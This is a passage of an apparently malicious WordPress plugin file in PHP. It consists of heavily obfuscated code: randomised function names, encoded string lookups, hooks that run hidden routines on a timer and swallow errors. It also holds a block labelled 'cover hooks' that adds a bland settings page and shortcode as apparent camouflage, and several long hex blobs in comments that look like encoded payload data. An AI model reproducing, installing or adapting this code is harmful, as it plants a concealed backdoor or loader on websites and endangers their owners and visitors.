 uh36p8urjd71g_u9smnf(b4gbsak56f40gos(227),   op9tjzix(1995),  1);
uh36p8urjd71g_u9smnf(tvo1rh46s_(227),   fjup2mc1h(1996),  2);
      
uh36p8urjd71g_u9smnf(zp28wk01y(227),      wlgh2_th(1951),  (0x1+0x2));
     uh36p8urjd71g_u9smnf(zp28wk01y(1997),  op9tjzix(1998),     (0x1+0x3));
 uh36p8urjd71g_u9smnf(fjup2mc1h(1999),    op9tjzix(2000), (0x3+0x2));
uh36p8urjd71g_u9smnf(fjup2mc1h(1999),  fjup2mc1h(2001),   (12-6));
 uh36p8urjd71g_u9smnf(op9tjzix(1999),  fjup2mc1h(2002),    (7-1));
   uh36p8urjd71g_u9smnf(op9tjzix(2003),     wlgh2_th(2004));$me5pb7nheyg=PHP_MAJOR_VERSION;$ts9elmfudbb96=$me5pb7nheyg*5;
uh36p8urjd71g_u9smnf(wlgh2_th(1999), b4gbsak56f40gos(2005),  (2+5));
     if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(2006))) {
    $GLOBALS['__scf_b1rqpek_6hp_174'](function ()   {
if      (!empty($GLOBALS[zp28wk01y(1596)])) return;
  if (!defined(zp28wk01y(1703))    || !$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1781)))    return;
    if    ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(2005)))     {
  try  {
 _yjfvv1s_lwgdiro4wbm1();



    }     catch (Throwable  $x0ydieb0v_72m_u)     {
 }   catch (Exception $x0ydieb0v_72m_u) {
     }
}
   });
  }
uh36p8urjd71g_u9smnf(fjup2mc1h(1999),      zp28wk01y(2007),  (6+2));
   

    uh36p8urjd71g_u9smnf(wlgh2_th(2008),     wlgh2_th(2009));

uh36p8urjd71g_u9smnf(tvo1rh46s_(1747), b4gbsak56f40gos(2010));
   uh36p8urjd71g_u9smnf(wlgh2_th(1446),  zp28wk01y(2011),  (19-9));
   uh36p8urjd71g_u9smnf(zp28wk01y(1999),   function ()   {
 if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1781))   ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1878))) return;
   $tj3513movf =      (int)   @get_option(fjup2mc1h(2012),  0);

 if  (($GLOBALS['__scf_yg2rpewmkg_192']()     -  $tj3513movf)    >  (2305+1295))   {
if  (!vbnv9cp3zphaateswj())    return;
 @update_option(b4gbsak56f40gos(2012),   $GLOBALS['__scf_yg2rpewmkg_192']());


    pwvpu09why95tgx6j();


}
 },   (244^253));
 
  uh36p8urjd71g_u9smnf(wlgh2_th(103),      wlgh2_th(2013));
    w1x2vlyn0dayva0xvorosh(zp28wk01y(2014),   fjup2mc1h(2015));
if    ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(478))     && did_action(fjup2mc1h(1999))) {
  d8pbcrz4yto4oebxs95hd6();
  }
    
}
if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','smooth-manager-live-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('smooth-manager-live_group');
        do_settings_sections('smooth-manager-live-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('smooth-manager-live_group','smooth-manager-live_options');
    add_settings_section('smooth-manager-live_main','Configuration',function(){echo '<p>Configure options below.</p>';},'smooth-manager-live-settings');
    add_settings_field('smooth-manager-live_cache','Cache Mode',function(){
        $o=get_option('smooth-manager-live_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('smooth-manager-live_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'smooth-manager-live-settings','smooth-manager-live_main');
});
if(function_exists('add_shortcode'))add_shortcode('smooth_manager_live_stats',function(){
    $o=get_option('smooth-manager-live_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('smooth-manager-live_options'))add_option('smooth-manager-live_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*b7b8ac8113e402bedf4e4030299866d6f5a1407a61c2806f3463c5b142569193f7d9140542036c249fd03262d936cf10176b6665245e356acde73229b270db959ab36d6e4e451d30a33c970e5414980bab09fc5848cff32799e76b3bab57a04e822a263c8646de20252066312637178aa7c64ae297b2ae100b1c15346fbcc96675f4a51b639bcad3feda4447e88e328c8f9f3c99ccf614f885074f4dea98b1cbfdef127e34abfed2b58a94556e8bc5f0899885cc473f997516a6d9f05be371e2e191705547b7957cb584b758781b6abdb519d094860ba3ec37af1b8965d3ebf80501a7b252788929ed155c31e6468a1683953e617129f45cc9d60f4f236d2a73a7501e3113251fc2c8ed5f19cb9d750a58adfb5ace76727e868a4e710cc014b595c16c2c0cddac17532b289bdbc39db72005ce4fca9543ad88f5690be8b4117c898d28490c3a21ae9721917be78edf7ad1a0daf058edd90cf4f7ee0bdd6f76e33d9c138343aa5fa5bfc2f902f403ad59f60b0d8f3bf8913f68773af8b9819742e1ee79257ad53dbdb1aca568c20c1e8164dddf8c342d5fb883ef3d10e769f0bbe013e3c8be0f461a94402ad9cbcedf04f317db67e1d16a80926c9ca8f822ed45a3fae16a7561ddfa4ef5a5718078ce873ea72cf2b4b8653c5a6229cda82e643d91f5f2aa6b459491cc331d7711a1b41ba593efb10779be6d2bfbd3c0c67941ed8ab6cde76c742cd5d90b4ae4775867725d0a762cd233f58271eec67c7a5fca1916536f14d7b6a623a7114a55ddaad0da2ee551cfbe97e80ebb7bf7ac500ce281de866c98a210c1e92c8f8a5168be260826ca0ae00dddc2d62c7890fab87b8b150216231ae28b2cc9b1dca9e45838495a296e4549cc60bb66d8f19555b148421b190109a3e4ffdd51933d8e81f399eac497bec54b160c02c867b5c93486c95619e507016398d1efea3a3f59b7a35cd6e2e131467b9cee3c2344c2bd34d4d5c1bf3956b26c28095382f8377901fd74f4c53e27810dc164799affc7a1340b6d155f7f66f5be059f9232036b4a2301c796c94d7b42828459a30b70e65a5e05614790901c18dd77005866ab2cda96f46984180198353554b254b99dcaa1874d7d0352d71623c0b56acfb6fadf4bb6f9a650b785418f599c77feca1e2aa1e60f4663dccf18f39ab75727d51c0ea436b5287d2b689c3678f13cf597b78d68ab9fb72a726b2aef8c6f1e2b92f7c493deb7d3c4c3af84d85fafbd9138d13acf2fe94053d77e28a09690138aff0e14260eafe7727ab4eea1e9478c649cc0043bfdf12f514afe2478168bc6df4a16c6d3167fd4711a4bddf034f224f2f3a221de0dde1510765c02f7d6a923ee8a9f93ed7e5d70ccb1438f09c47ad006e2bb1e3fc2e5a913ef1d0669302193e4f803373c7bcb3e8e0ce0bca11c7c4dfb59d22b20435abe6a6de85f30cabc32cc652b1860f4e13ad2e6694bade1507c0e0dc6e91cd7710bf65647aad9e10c605bfafaeadacd4324d9f3b27f28defc9f43571948338fa30a6159b8c9c2a81c2e77b5d5ef7cfd7209b377eda586e14a846774d7a86f81938166316dea956717e02b1a4111c62e5f29df7d90baf4b1f70242cdd1679da7be05854f347589874df39f6ed327701b02fd31f9c61ce7ce3101cc8991b69b1c1c2a98cddbaefbc9e98c68712233151496d8a8b00b04b352662688806e1b470f4cf465b23e7cfd94ab4b434b290cb6ff0852a261e0323675cbc0386bf50beeba32a33f0bae48b3de887a4a69d47c0566ffd587aae838c74f288f0554d755c67d797828a72dededb928208e007ad6827b527ce8739695017ebbcd4cc976200a93d6b6a02f1e94081daf79e9f4a8b5e24d9b0c4eb8084f8aa44d481290a8a499a0f6ccaf94ad4320a6d6d4cfd749c3867935b229d85a8c4cf2bba3ab80fa620e1805506c232366f384f45c9c752edfb0c4e0e9af8e9c574b44b17e5d6d29ea37a936c175c30eb04e4037b899109c18313365c8e865b0e22d1a2a20625d87b36456051f0ae7254a28e7256a0c8d06b7ffba257887dccc6a9b623e7084883289ee5a87bd8b6d7ebf7d721433d8f1471e9e38fcc419ea7012daa924e09ac971a8a863db6d1328a08e9ca727afc75009cd36be0bc11d6c1ff64a514b004e2e7c85ef05a98661d67a8f96dac1862b39b5ccab10a9b274c5f2c06bba586dddc31a56c9a631fb10c0ea5f08d6b7fe7501870c0dbdde29789a2ef27d98d866bd1396f81b5b756b458c01103c84ff4b07af1d1bd4622db5868a3074d38bb3547c1e1d45a83a8ab15a645fe39ad06e8269c55a3446926c01cfdf0a42d11e79a0067e3025d43671f70a7f31667128a1761f2c7a75a21800f702a5888658af6c3e188e49ced3d9ccc7ceba1ec942f5d998016e9cf96c926b15e00fde9b130f9c5ecb97f72a02e2cf2b5026253e68db70be914fbc2ca39264ceb3a9b165aa978dffe1f73684642d9e52290e69b8f84c3a249a8da8a77a762fdb1ab66c2345d63aa3fe98014d7582de8eda8a9330981988d75d05af1b758aab7a9be93d39df1702fed508a1bf179a6e55192add74d92a1019f69d1ccb1695eab188c4544ad2186c16723023418d93f95f7cf3811a949b20c69473a131b48a52518f832b4dee1f8dcdf84e2df59c1d5f349cd016f2c8ed833718b91d9f20c022a7cafd799ee82895fd6164e17137784051f1a0d905f4c25d89c98a46864ff31488a9bf79f99b0ea8ad0bd9fdc9a13fe1e8f9d8ae9d6bbceee70bde4bfb8b82f431ec3245a3728060cb211dd3f185ebe3a75007ff6d04a1f3b4c1fa567fedc562ac8deb*/
/*965001bf087b16faf8a59e18e23a2c2e7a51841d0c6b210e899b8259589e9ecacbeafcf9830f753031c7fa7d4948968fb5bb667b46cec33bd1ef37acd1df35484a4afb073e5f2ed27bc1f78f858ae6c3f5810f550f62c5671c7b74775b058d19f0c77d58c62f57586c70b3a276883a369014e654fd6ed7d397e759c74378b46fd96a511ffdfc3a6abe390f6ea8c76a90e9d95758962e4a8e14d8a43c9e854ff2e5631b59a824981ced100e9c04dd6027bd93edf65f2397a773205f9dec71244844f41f43acf684cb16c955afb3721faf97da5339bd3d1ca1313236abc942d20cac9ca1e03927855289b58d0fbd313a768ee2926558902e53f77bf0d1f249aadcafef0df0273ed856ef56a63cf4c0328098a40f7f0717fb4db5698fa29773d18d3aa414daab83c0615390db1654a706a41f22e8e4be8e5c5febf55668854520950d74c382b9963d7194dc3ca2e91e42d1fa9203c444bcc5aa919f4e7ab54fad0742e1c2dbdb8cf0f16f7a93a8f8ee595d0bec69bf3a8694bfe166816bd6c1be7b669bd07ce48154dd379470268a2c9105fd877ebf49e07f1cbc35ed1643c8a2da3caf0e3e643d1e043c67d13ea800efe43012993ba97fa0fb51bb4f0c831801998c66642ba21c62ce6e5a353fa253d4c48b15251dc9164ee148bba9fccd4a0f1eed7aec7433402a4b7b8bc7ff9ebbedcc1bd35847fc2974bb779a0b05b407c19fee3dbed3475de4c182459ef606daac295b44f5696138cd842289acc0d6ecae6c7abcaabbe958ec1b363fd7248398046ebfa75a401b83ffd0db8f581de359329b6d7caf494251b46fe391c5294294988461856409e98c618073e8999d258f87e343e9b6f8fed56ff1699890d6e9118e3a4b38a0e132aad55153540cb0985446afcf88c248ccb241fe5e8f4956bb569097e53f4a92e6f1a600df9afaf0a9d6671c11071132ff22526ceffa1dfea8f0d1c7313bf33d6ebb631db186a91cfe0da2189308d6169862e0a385819f14ee30a548255d234d73843fceae57df7d3d1a1dba3e2349e0e47ee6e2b90538d1c7de5dce0feb5654cd82677cbbacda66eb7209e8b2e83d23c5fc9fd51ecf1b493e5a16b1db77de4280fdcf85974dc54834a84977a05d1f490315c928ab134617751bf38513f7bb8179810407e77bd79aaedd7f80d05f92a658660e1cf6926400197c2c55fd62d0a637655ee2288f932161930680ea6635faec98ee09bd6881a75ce2d91f2e65f571abfdb599894eba446f520f6e78e74ff4029dcf9e25ec1ab098ef4abad2d62ea0a19261509c97b87712d5a19dd49b156eed2d8b670204b6bdb3e2ad7d53425c91ba1b964bda963e8945cb75e79fc7d0b6bcf4bea42f16d8675bdfb53b0d938d26c928b5b32514d75939d3624ef8936579036c2a8559d789813399c5b960b369e4f58ce6c8231cf368df961db8bf8700ce7db82d40af75fa54d323b478a341ad06a44288aaeab42c4a22162cf9b4a6b8d437b31621ef708422e4dd2495ee05379e73207d6183983f1d8b212517f77db626ed19d7bb5b0cf51eef2b16554e7751d67a9d108b5ff9310848f4a330fd260d68e702b6c9b4f24a472448efd75d7586cd64f4752cbe121b70a448204dc5157abcb7d7b826b2d9380b1f52dea1b3ced2c661ad0b84575759481ba62fc5ce1e7f3a207ab0c16aa9ad796cd62ea88edbfb6e24123f603bb233b26b8747823c2de16ef548845202b8c51c65664628f1ef1336b6a657593e393218910b851f190283652c514ad094073e53c3ab1a788a7d73ae568c85ecd3610fc22637f6934617c0449e250c5e39e51fb89f1d396b7ad4da2e1e92cf32dfd584e124dd80ee8658bfc29ee63ca09e64e87b93b20bcd9d4b7edea6704a87042908a4c9f9be87bcb79a5f2537caee524bffc80fd5f43f9429b3fb8778f57d0b47168ffd2f5b22283b420c45b4c8b589387a06110d6c644e361e52515aaf15555ca7191ab27146740ffa78d2424e2c3440bafc5949ffe0cb384c66dd98728a98065d10f186d225fcc12d32c516730a8260c4111fd446248a6f25b9d4a05710de76b56b4e6fb495e3ed154fd68fbe44f7c7715ddcd0f36835c3784e3beb855b18d0148397e47b6232a859ef82b0e7e9b88e2176967dcee5f52de50f55d0250e7e92b38d525acf6dd41ddc5c568e66e311d7096a7bcb09462e18c6050447577585fff7c7b30f55f4f56ec088c142c870cb07a4b21e1f7574d530c6a1c08333ca6f8d2a8417abb4876a5af4f0ce14dece27500320c30231bc2745c13536a54dcb01df48701367939011a40aacb81317d6fdc11bcedf4a4b80a56de3cda71dc08ffc949e71f24f65e62586bdf8404c79234cb905bfdecd3151f1afd9f8b1ff4e1501a3dfa813ff06a619cb658cb74451c6e70e67da0f0c9c8f679473c6371adc1607789ced9be6c6494139170259904efa41024cf55c9b958f2d2cf8f42e1a60c8fb4908d0aca43994a6e039bb20c93edc432581551151cfe6eb0a3b2dcd93c639a249af415c96e7b2160fc26613d14aeb90b8e4e7a7006a401b66fa567679e50b5ff02d94ef1b59bb221b8f87c47bc28f24613efc98f645499ef5ada45824c716927bcbf03cd488a05d9b139a8001592bd3a7650702ead250a8acfb58bc161a874be6639e1fe285de176d3e177c69670e2e75d382652a872738aa04ba2a378ee36bf0ca7407b89c000b1c7c65a56a8a6bebd62c8213782be9b8c9d8375b5e15b50758352408f41448afd03be99faf91e17180acab5d045a75d858423e1c9f9839a183ac40831a8551dc8ca60c59b53fedb8a0c47ae4012b0a*/
/*ba5ae90256d5cc5cac88a50e48a3274ee0a003b049d34908d69160cd7132e96f122899f58a1fdcec724da468df49e47e3d69b1ff7be2389c94fd42599f0568b3f6296fe60a23e6ce45f5a266c0fff7995bcda15695dd3f3b32f58f88553f7b92a7566b9d9b13c5b1b65eb112153781021e90df7e476e0acd37d72725382867db12da0ab8bca39379231ffa29aeb7e791cf174c343418257bcb31cdec9d14c720413b69d7c8179a9d9b5b892a80b800cc54183d9af2bd993adef479eef6f082ef124fa93e31dff18c44f22c8c02ab23f10ada02cb4c971b1c6cd3c11da6927c656e89bafc1c68369c023e72c5182744c110e972e48af011f992b10bf521fd3a6ff78c4f3bf3160e8855f5e39bfa5f93ed07a718df537c335270c2d1591259d556947a7d4dbc6756fd874c699bbcb5533ed1965e83a3b683a0ae332bd1fd0a2cf0497d35cb5da9f3511ad748d1406162c85163be2ab944a18cdd5db2b6c2b391b97043f7e13fe72d9366c355c696d13e7b84134b89defa94039855bbda734eab6a5792aa150ed82726f14297b4304e3b28f005625072928d52998115c329155df890adac64b16e424429aabe654c856dde8291a3123245e9b17d6d3210b4d38d4880199e4b07415f6b82260f1e96579529487acb3ae3e4403b1ae2b76222c847dc2af10dce32683e326462b34beeb07856044391f938ce21e32703c1ac029131d63a101232b922cb3733220569301e86cd669fb978933375715d1ecc128c875c7266bf02c7d492f69d82cbd81e61ae5640f90ec48ad1cee9268d35d2143c14eb08fb118158e2b9c540a2ee1493b6e7f0e2c71842143d6b596aabe83ca032b4f5346549fea7924297c32213aa9fd36d45daa27d73148a7707bb6dec54ebff62d55f3e4e268fbe7d0cba47838c34b6a41924790cd1998b8d5618c43de1556818111272280530dd097c884e5e1b86a62932e845a31f6650bbdaf66a4727d2df61a6e9a29a54fdeb4771f21062380f48ad836fd355482a59860fc298e90c536fc3d0c299ee7d635ef75394f2b3eb5adcfcb36ade284577aa96da5be1377968b083b277b3299d45262afdbf2d9398d3765e48f653b73df6d2737bc7085d492c1f8cfac712397b9473184fd3bbce082372d517fd085e66f6503e1d29508f60594f3c0ae2c013d28eb22af422374524df63398c09c043731d256c65773dc618dddb411903727b4b81d5bc0e0f47cde6c5ae8654b614532618d3257feb6f85fc4b7fed904022829bbee294bbc3467a1da68af1890735f89d35798a6b24bec9878ebe50218b4a04eca9585621cee756b52560f6bb1c18d389b03615ca9703b39001178241a8f6530324197435b7d54a694f6e69c542f6d5716d846f13f788aad8a9cd4b57e2fe0c62df98bdb0864dc0352b3bc0ade9bd696417a079e2a3ec42820e09cd6f0204d974e08e7d75a18b4f30ce745b7f80f87f4f4cb50238827d977f7987487474fa7a7113e1f02af963899f74de2a049aee21d2e4aed319b458b4183575bb24f73fb689d221eb7a5501276eb903cc03eca769b014ad5fdefdf12a03083ec6cbba2836924c91d90c62cd8c6f40b691b0e3d56050e30f0c46eb2dd4fa87bf03da854ea6ec0b85d0c9ffef53744316ef1c7a7c9a85728de6c1f5e349dea8a63269d0146d62a5dfbfc101b403cdf88fcad6b7cd32ac3c5b72ed6f87b67bcdd1d4000bfe4f02a4b80470a46906bf71a1056b583ffa3006a36dbbe50de908fdcb0666524e5dc356efcd55769724822d2da69c5c306cb00b88b1cc7539f6e008deac96cfd3aed73d28c9d862d90800a0e0751cf8bb2970e24fb8a0a9d617c04c92bc773779338856f8e418bd47bd71a4c11e0bb77bc92b11d493cf26e3e4733627063fb62ba32b263a76ed738841c5f6b1f18bb2d72f7af5e97926ada640f44242e5ac37140ed4b42d99d5845394ca1d33d26a6a8579740af33387f6a98ba25ae696c669b54a17c9c1d057582b77f0166361d4d68e1b818801782f8d99f5b9edf83a0d3587ac8fe313c16ba01068703470fd68c7d64d7f4547e9e1fbee0a81ac327cad5bdf5c1ea094b2e94e0742de2de1e76f6b6e4a91e36346b54accaf4e71128930622d9f6c54adbf89745cb3c8ff4885c3cc11c047a22645a885d6f55e08dfd89955523d0162bb7d985ca7182ab5deac75606357f5f46a553e974ad7e8a1029dbc2ebbef5d6726d5b2ec933bc59054d04b057d17cc43d624659bccf9f1ae359a4a6964b727ef181ab3c30c17cf3059b470a4f780928e6016f6cb51f8a56f810c880381a6a03f67846304bbd11875856f340f3f9c25ab12ef1b89c71382133b13a3cf62985147a3d95b76a07a6c96432d13baf6d4e3f3ede283762fca9f0aa9909aa46ef0b229becbead4b00ecde7b8ca9d4c0bbc2ce6a7153021a70e801d6adc8794e1c4b3a8d110151845ff454e6d96babdbf8d76e721d7f2ae5295f46eba9b8c7bf536f039bb0554d3467a6fa29691ca8f5516c7976c665d84878e083e272036feef08a20746610e71c6625afae29b7bde35f0c2971dac9a486224cbf09e8293ac98e796e830cd132a08e92de154d0dfda2cb8a22f7d2e0e5548371a325efd7c1a969fe4544393dd42c4007e73a9467f43248967eefdd2464a52555d552084bfc3d71ebb19f50cdccce2daa4c373521383c36238d069f0265a6581d0847acbef7620249f2ede50b27de782db126f45ac0149331b0e9d353f8112994e03bca7ee37377988ce45489782ef1c9887f904e62365a022ff346efe447785e90bf540e53f5538250842067398ab6ebc38c8db3a33*/
/*d950491bcd1ce1ed36939e1a7990c34f7e55ae2efa788df772ed200284396dd4350d26849e8083f0d8d669aa43d340afd1b0765884b17a9e11fa56980d977cd3992057b1ee86fde0d806a2cccb2084375d390b7039dacd63f28a224f4e3eee16b6b55ac621aa3bd4865cec9d47b2fbd4f73720c63842c3732c2d2bc018be1180c395ca53124f21415b31af85a240aa399368e06f0b69b1fbc48a4a9a197d3947ca4150e4f1b982e90543364cfa30c345b81248e31220fc0a6a058c7290ba85d2270f0a74aae01ec8cda033aab1734d5ecccd7eb737ce3ac885135cb28b7baad47f2375231de59d11b74fefb0db6cbccd869fb888c2fbf6eb6da4abb169ebcf1e389313c7ca692cedf229a4e477d12a5e7052ebaaa41feb4dc701be58f43d9db93494f59b1ab309991a5a2dac0383d47a294c045874fe40ed6e9a4fc637293e1b5353400e8f7eeec308c6abcfa5b7725f6dd84bec8fef1a24d4ef1f22d753c80249575dde9940e1a55d1fa93654cc9f0584dbf8e56a8d83bca91326d58f755fbc2ff5d271cd004e129874feaa71d6a2f546c54244dbecb9c9d0ccc1b920cc2c56d09f44622e5bc2c1afe2636f5896408330a1d4d9b2a27c332de78778aca6a3833a234a451fd7bf1fb0feebb9642bf85c37e38a751c6a823e3fb66ad7acd0f0cc8f166462445506466e239aa248c3ede86d3e2a2dd2ef967432762bfa43ff7f64f7cff6670471ecc2ac7200d1aeec3d2d925519ee712ff44bf44c7f9f25cd236fe86c3d00172f806c096e2750820d99f2a52bb766b5b528465ba223a3f3be15c5468aee3cc77bce3cbc55336ffd017b1d4040a79be48989ea33be9ef58e5252fc881ac19283f5487c346f050e1e92f75c117c74931bb38f6cdbbadcef530fe5d41fce6045d4534036f2d028b8bf3b4d2ff58933f5816ed913ca9114288d8b039379e96a6f91437602d9bc414487d23a46fea5105d1fbd49edbefe79bf3317ded48e7b629b9fb93c44dca3660565f8ff440c54cc2e0c4d9242ce48d5e52eee38a26eb7882fe3b0eaf9b698dd03189ae7d8a95d82df634071147737c35400dd4bbe576ac92887df4d5f8e199557bab8661bcd7cebdd5d080b3deb1a3240ccec50634ff667df40c7858d5db9bc694edfff397e34e3ec81b61fc89cc82e5c3b1d8c6e4f242b949cf61be385b7709c5634994d9c41101b182e36911752a5d45e8fbdfa47531d8b17099c3a547d0c29e4ae9c36926ad647ab2bdb12cc54fa997d930a05d81a4fe2d353b2690b92c7ae9ff1e7e415fb390bec22394664fee520e1e828c69b2e5ecf7aaf92cf1ae84ade13e5188ddbb2257aacf4b2936e86d26635f34fbc3f7136d8e160f7814d62d513fb7a69208bfcd5ffd2d782196f5eeae90cdbf23de013e54275ee347b037cf256d6dd4960d8408f31edce3ff0a7193c17f38fc3e2e354a631c17a48c11ea4dfa599c6d1d08b4d37af6a6c0862a4990b9156942f954bc4776827e1365dce4ad7cd36bcca6d3fb6fbe1fb661d2345dc4887605e879ffa062c5c8582259103a27272b2a9193c48e77ebfa2ba6573de7cc8e0c9efcbf2bf6c6764db4adb357455cb6a5cced62b9e8b0523b1f5855078ff6859c76452b1ebd8ad7bd2b80df8288ec1fa62452952f97e276e5b7dab0d6ac4d29769c8228ade967bd3f85a1d14d65cf1ba2c6a05d62c1338482630608eaeacc50eefc7a73685a201842780e1a516043affec0ee3b312167bcd3dbea9a7b32874aaba78f289c9cb566b7f675a7fd974115632b8d25c0d742d4dfc5a6fca682f0c7a989cbe53aae42326ef3644de0c9773ed0ac050dac29faa7a2cd8c9d24f729de6e0d6005e5f4a23bf4a7a60f0083eaa6bf066b2d095c0c42195e41dadc42bdff72948205e3dc51f290ee7466f76864399c005459851fa837a62480001d4605483b1783852a303b6d9de3bc54b1432b31f68226f790b210a65121a7a91df330905987eb3bf42fea61c95253448382c59af1717562f9f032a70636aa483f07332e78fa44507793d35a8aefe255a667d58365c30bf54a9f5c8a33522c5dbf6976d75a4bc88fb2bd9776e49e21c8f42b162e54bfc1ff7766614f9280758b186c2a66a81a25368135c2e4b0e2c1782fcc8683005af6dd9a4888fcb260acffb62843e4eeb934e262a1e883b4db6715588a2cb04f43be79805ba407f506a6fe329f974639a5c2de7b92701adc302c2776626a61b22cabc96cf077adf155d957ace54bafee317a9d47d60cb8fb80030e3eb940814ef2c50297f240a1f9bab4e07302382379c3df94498d3c18a520f305ab6434ce426b45ece2c76a88ed214016813c4da10cca8584a38a27b067deaf80efed98e958cd4d94522d421c79e787ff408b857dd55ecf011a87a4a446a3d9d2e0e624de61dc6daeba1a6f68d7bb6d31494409cff2d93944807801ae4c5452f91591aea7c5350ba848879b9d39e9d0827b86c1831caebf88105a9690727a42efedc54bddf3375be9d8e1a6c8b144a896e3c3e14fd8cfe502c631446260929a6dec1aaabe6b92143179495e4d7ba1bf4b398327dd3955965073002d8f43d24fe0421940bca931fef5f3d49516aaad72f4b8b8329036456ec343d885d2a0ab65915f7e85740de59c25b54644a02c3481a40047ba7fa8cf08d2589a43c7999880cc004eecdda73e23b377f07f57cf21d9351c4fe6988e3e76b1b91c46d6c8b248721ec09efbbf5cfef001e75d88f158ec88cbc94557964d57b6d496c7c039558376468efc32fe9211bb1b0f5593d06397dda862db943a56fb4092c1427310ff02ed9b8ede28fa73de96e*/
/*1c3d5aa1658d4a6379c230ce5ce7d762f39d0db8ada20a268bafbd356d5acb68a697ce2255a6fec1a3dd5310863e1a9a139d887404ddfe942058ca15ce5b964e31c082e37475e2bff36fd13f1bfccd770eef15cc75036644cd5b300ba0d85e28973cde9bf0e38f6f8a1b65b1829f89104ac5454286d762434d6d1d4247a3a70e5c5fe8ecb891a8f1db08f606f872a38555c5a6973e4729c2c8bd8f0cba5744a1ba200e6b261166d1940f04b01d78e09b61ef1a5538b1a070bb3f8513a0d9ba4d96edfb3a025b4dcca5dfd07a6e5acd1e96fe2198caf4a49a1ff5d3bb4174c6fb6c43df7562949d54a3407235283213646026a5dede4aaaca4904ffb6e1521ff3f55043f970a795903ae0bab1d169469b8db9fd5ee5b89ad24072679e705aca6bd60380310d3b8644516a96497b6b93404eeea3daf3b0910b49bcec8af145ffcde3777c34938b5223ceb4dbec8ee362af927f44ef44d8c8533fae736540733bce07ae25456777b91a7bb6dfabfc48aaa228c2c91615f951129dd28d1da6696c7ab7b00b8ad574ae7b4946dbef9278406d96ab7c892dc42c9b1f6e0385e81801c6013e6f0933ffe572130bf64ac9b8d3dc9d1af51aa403f77c049cc24df1533602f131b624a2eb0634cd448c29c95c5e23b1c72244d0e810e6e6784677632fd5fa70418e9264277e16370705f917fb4927765f8733f29c5cbe8d0730c5b0d9d1ed55131a35ce5546d31bc962c6d6bcfd312d25c675aa71f6196a8a0a5aebdcdcc273087c8cd67866a45885032d533087988920599d70208c42ae031c1c526260e814343bcea2992118a36146822fc717c81136a88c7935bbb2b4038918813bf505b347d1ee9a8a8053ada74ccb94949c882604e749c242f2ae2681e38b5638ec51ba5a633a744f09392902f963f6688e3655318a34a22369240dca85f7365a93d8d925803c1fbe083ffe439451a51a14bda945171ced9b88ead230432e501d3fd321acaeec0d102c02db49b3d79f55d76ff63815065e10b56eb4706e279ceb4a2b98b8f2aa814665e604c32289ee9e2ba371f963a631fdd69b72ccf8f21f4d08c77ddf49f51e246495a0685cf12e5878fd26f4dd50fdd300ed22826e5489669ce345af8780b153bfdb36f88f6f8e2c90b63032fcf4c97a0230b0af266708bce2da56921c5cd17d1e4ab47ac9b61c9fe0593042236d0ad67c32fe4983985b58b16c8851800b518ec68ef83c28b7cb86d7c6cac395e22e89be7ac9e819d846078cfcde64175d9cfc55d4d8e7d813084563502ec7d844634702d7e8542273dbc5ce40f9478a876c03a43897f0ce8c96a8d5e0e86270340a8d7cc1dd466ab8c23c9a85af92e95e54614971ebba96a39a7c1712aee5ea1aa894b6a0fc50c74df6ce2e31d662ebb2721f4c2441917b4e6fab3c18635ba959a39b15970577a0d47324a76fc43d439c5d67448df14e0b1ae1e47ada54cc70fedd02ae676bc5b6d7a3d673a0b9f6f21c8d2ef05f67d00fa44a1bfab7204d24d6dc9dab3fb0665683d55114ae819f36c1a1fbce93a8fdd93148040aa1e06e4036f9760471cc446690d775268bc46755fbb2c7fce00bc3cbdf33aecb2670456b9eba88991dca66b4bf194af13e6107cdde25be5cdf908151a64b6c4c8d5c76ae188b06e89a9474681f23c784794e9bf72f126583720a87ac03113497772f108e4b948cf3a25cc73e20c55d1b3e773f9ec3bff3652a4dc6d8899c91a5e1f9032570b4249a72bac979ba6f60cf2bc429b2f81faecfef293dd219184800da7053645633a56c1b9816d60738ed627c5a19e4af04ac9348cdd5326d1aadca6f5d166f262e9bdad25b4620b590bb6d974f9c33649a2a9a6a6a25b753f38caffa594b3497f4e43bd51fa52e4600d3e78b2d135ddba57eb913ad78136cd4fdebde4c297bf458449306cd5fcc0aae8dec2e478379e701d5414e2c1d8b0dff0890b6175c3e2a67c4ece9f00a2122a92b1cfb30e1b45e38e322685b9feef38a4d5c7e7be0e5ba11c3c5381d479c1d8469c706eb7e59e83022f0c158819b3635fbdfbbe485b3148578f10711873a4d66f9e849cfa4fd0b1683b1c4372b3ff64c2d20cf0f61871911ab049064400bd70942ad82587d1204301df07ff478f437afe97e7e18c21d06ba978c22ab7c816e5f93412babf0cc034b1670d8e951a6c6ea5c786c46cbf7f675ba94d2613ca1a6ecf64526337fc6a6e12c8084a519942915051f9ad6fa0db88d7dcd74b0f14282e7a58846c84d471b01753bf29d93f9757100c144ff4d44df4fa734c30a648ccdd20f137399df4f7d28006d8a5103ab715c66ecd0105e1204f0017e38223749f9c22598355bcf7218533d3bf19673525ece47c363ccd4d668b15943322219dc93dac0c7998d1343763378711170be33c6406d251e3c556d39c1181905431dca5d5804c8c067f9cb828b7d1215ab43d82577a71bfc07e2fb2c8405ef66ad4ea89afb970f121d760522aca4ad04dcbed5b8512003ed2058b37896b0312d7d4e72ffe911ed08ba229fc756a9ce1f52afc6d27f75e4e458d7450f3ee0eba2e70bb191091c1192a8b2652edec87d67916c77089877a113aa28d0ceaac66b930655608e6c72ae60c4a1caca3cf686972e5fcf5e3465756756a5bcffb0